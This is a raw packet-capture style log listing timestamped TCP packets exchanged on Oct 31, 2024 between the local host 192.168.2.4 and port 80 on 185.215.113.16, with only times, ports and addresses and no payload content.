Oct 31, 2024 23:37:17.932430029 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932435989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932439089 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932447910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932460070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932471037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932493925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932503939 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932699919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932710886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932720900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932733059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932743073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932744980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932754040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932764053 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932768106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932775021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932785034 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932785988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932797909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932809114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932810068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932857990 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932864904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932876110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932885885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932893991 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932897091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932909012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932919025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932921886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932929993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932941914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932948112 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932954073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932964087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932965994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932976007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932986975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932991982 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933000088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933012009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933022022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933023930 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933033943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933044910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933053017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933057070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933058977 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933068991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933080912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933082104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933093071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933103085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933111906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933120966 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933130026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933140993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933150053 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933161020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933171988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933175087 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933182001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933193922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933202982 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933204889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933212042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933218002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933234930 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933254004 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933573961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933583975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933594942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933615923 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933650970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933660984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933666945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933677912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933727026 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933794975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933804989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933815002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933825016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933835030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933837891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933844090 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933846951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933859110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933867931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933871031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933890104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933891058 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933907986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933919907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933928967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933932066 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933940887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933945894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.933952093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.933973074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934295893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934307098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934317112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934333086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934359074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934386015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934401989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934413910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934425116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934428930 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934458971 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934528112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934539080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934549093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934560061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934571028 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934598923 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934670925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934685946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934696913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934708118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934711933 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934720039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934742928 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934926033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934942007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934952021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934956074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934962988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934973955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934984922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.934987068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.934997082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935009003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935017109 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935019970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935024977 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935033083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935050964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935199022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935209990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935223103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935234070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935244083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935245037 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935260057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935276985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935635090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935646057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935657024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935667038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935677052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935692072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935693026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935705900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935715914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935719013 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935726881 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935728073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935734034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935744047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935751915 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935760975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935771942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935780048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935791969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935800076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935800076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935803890 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935810089 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935817003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935827017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935837030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935839891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935853958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935864925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935874939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935877085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935888052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935892105 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935899973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935909986 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935931921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935937881 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.935945034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935956001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935966969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.935970068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936005116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936039925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936050892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936060905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936080933 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936193943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936203957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936214924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936228037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936234951 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936239004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936243057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936250925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936264038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936275959 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936288118 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936352968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936363935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936373949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936386108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936395884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936398983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936407089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936417103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936427116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936427116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936433077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936439037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936449051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936460018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936464071 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936470032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936480999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936481953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936492920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936499119 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936537981 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936791897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936801910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936814070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936829090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936841011 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936846018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936868906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936882019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936892033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936902046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.936919928 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936938047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.936991930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937002897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937011957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937021017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937030077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937032938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937042952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937056065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937057972 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937073946 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937124968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937140942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937154055 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937160969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937171936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937182903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937194109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937194109 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937211990 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937570095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937580109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937591076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937601089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937602043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937614918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937625885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937628031 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937644958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937664032 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937674046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937685013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937690973 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937697887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937709093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937719107 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937721014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937737942 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937738895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937752008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937762976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.937788963 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.937813044 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.158972025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.159143925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.586906910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.587049007 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.647821903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.652756929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.652801037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.652813911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.652825117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.655756950 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.657766104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657778025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657788038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657799006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657809973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657819986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657828093 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.657840014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657850027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657860994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.657862902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657867908 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.657875061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657887936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657900095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.657906055 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658109903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658122063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658132076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658135891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658150911 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658155918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658166885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658178091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658180952 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658190012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658199072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658201933 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658212900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658220053 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658226013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658237934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658247948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658260107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658263922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658276081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658308029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658318996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658329010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658335924 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658339977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658349037 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658353090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658365011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658375025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658377886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658385992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658392906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658400059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658411026 CET	80	49739	185.215.113.16	192.168.2.4
